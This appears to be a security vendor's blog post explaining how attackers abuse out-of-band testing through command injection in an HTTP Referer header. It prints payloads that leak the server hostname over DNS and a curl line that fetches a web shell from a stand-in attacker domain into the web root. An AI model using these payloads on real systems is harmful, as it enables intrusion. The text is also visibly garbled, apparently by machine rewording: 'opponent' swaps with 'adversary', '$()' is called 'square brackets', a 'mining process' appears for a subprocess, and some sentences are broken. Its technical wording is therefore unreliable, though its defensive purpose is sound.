CrowdStrike Falcon OverWatch™ threat hunters frequently discover security testing activity during a routine hunt. While much of this activity can be confidently attributed to planned and sanctioned testing, OverWatch is always careful not to overlook a threat on the grounds that it looks like a test. Some of the more stealthy adversaries will attempt to evade detection by mimicking or using tools and techniques commonly used by security testers. OverWatch strives to separate the wheat from the chaff to detect malicious adversaries, even when they attempt to evade detection by interfering with testing activities.
OverWatch has several proprietary behavioral detections to identify suspicious or abnormal activity on web servers, and these are sometimes triggered by security testing. A common scenario seen by OverWatch is attempting to exfiltrate data using domain names commonly associated with security testing tools that perform out-of-band application security testing (OAST).
What is OAST?
Traditional application security testing involves sending a payload to a web application and examining the response returned by the application for indications that the payload was executed. A vulnerability could cause privileged data to be returned or, more commonly, an error message to be returned indicating a potential for some sort of ingress attack.
However, not all vulnerabilities are evident in a web application’s responses. Some vulnerabilities are exploited outside of normal application operations, or “out of band” — these are known as indiscriminate vulnerabilities.
OAST attempts to identify indiscriminate vulnerabilities by forcing interactions with an external service controlled by the tester. These interactions may indicate that the application may be forced to take actions not intended by the developers. These interactions can occur on a number of protocols, although OverWatch typically sees DNS being used.
Opponents testing the waters with OAST
OAST is effectively used for vulnerability scanning. Testers (and adversaries) will use OAST to identify if there are any exploitable vulnerabilities and to perform basic reconnaissance against a target. For example, with a few simple commands, it may be possible to perform basic discovery to determine the operating system on which a web application is running. If successful, these simple commands also reveal that more complex command execution may be possible.
How an Adversary Can Use OAST to Scan for Vulnerabilities and Gather Information
To keep things very simple, imagine an artificial web application that, as part of its normal operation, parses the Referer header sent by clients and resolves the domain name in that header to an IP address:
Referer: example[.]com/In a typical web application interaction, this header contains the address of the page that made this request. The application resolves the domain in this header to an IP address using the dig ordered. Note, however, that an adversary can set this header to any value they choose.
For example, they could set it to adversaryinfrastructure[.]com. An adversary can ask the web application to resolve any domain name in the Referer header by having the web server process spawn a mining process, such as dig foo.adversaryinfrastructure[.]com. The attacker owns this domain and therefore knows when someone makes a request to resolve it – or any subdomains within it – to an IP address and is able to log those requests.
What happens if an opponent fixes the Referer header to $(hostname).adversaryinfrastructure[.]com? This is an attempt to execute a command. When the web server executes the command dig $(hostname).opponentinfrastructure[.]comit first executes the command inside the square brackets, which in this example is hostname, which returns the hostname of the server running the web application — let’s say the name is “web server”. The web server process then generates the command dig webserver.opponentinfrastructure[.]com. The web server makes a DNS resolution request for webserver.opponentinfrastructure[.]com, which the adversary receives and records. The adversary successfully executed the command on the web server. Granted, they only managed to get the name of the host running the web app, but that’s a start.
From command execution to intrusion attempt
The adversary found a way to execute commands because the sample web application accepts user-supplied input without sanitizing. Armed with this knowledge, the adversary can execute almost any command he wishes. They can navigate the web server’s file system and determine where web-accessible content is hosted. Once they know where the web-accessible content is hosted, they can issue a command to download their own content, such as a web shell, from an external host and write it to the directory accessible on the Web. For example, an adversary could send a request to the web application with the following HTTP header:
Referer: $(curl -s http://adversaryinfrastructure[.]com/shell.php > /web/content/shell.php && echo blah).adversaryinfrastructure[.]comRemember that everything between the square brackets is executed by the web server, which in this case is a command to download a web shell from their domain and write it to a location accessible from the internet. This is done without returning anything to the command line (because of the -s switch) so that the adversary also prints “blah” so that the web server then performs DNS resolution for blah.opponentinfrastructure[.]com. With this single command, an adversary has managed to write a web shell on the web server and can now use it to perform more complex operations to further their intrusion attempt.
How do OverWatch threat hunters use this knowledge?
This chain of behavior is not theoretical – OverWatch has identified activity very similar to this in multiple client environments where adversaries performed vulnerability scans against a web application, identified remote code execution vulnerabilities, and exploited the vulnerabilities directly to compromise the underlying host. It is for this reason that OverWatch approaches all vulnerability scanning activity with a critical eye and will not jump to the conclusion that it indicates testing.
Attempts to detect such activity using automated detections alone would be noisy and likely lead to alert fatigue for defenders. The CrowdStrike Falcon® The platform detects attempted tracking activity such as unusual processes appearing under a web application. But, to detect adversary attempts as early as possible, human analysis is crucial to correlate probing activity with other behavior patterns to more accurately determine if there is a problem. When OverWatch threat hunters discover evidence of vulnerability scanning that could lead to a web application being compromised, they quickly alert customers, giving them the maximum opportunity to deny adversaries access before damage occurs. can be caused.
See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15 day free trial today.
Comments are closed.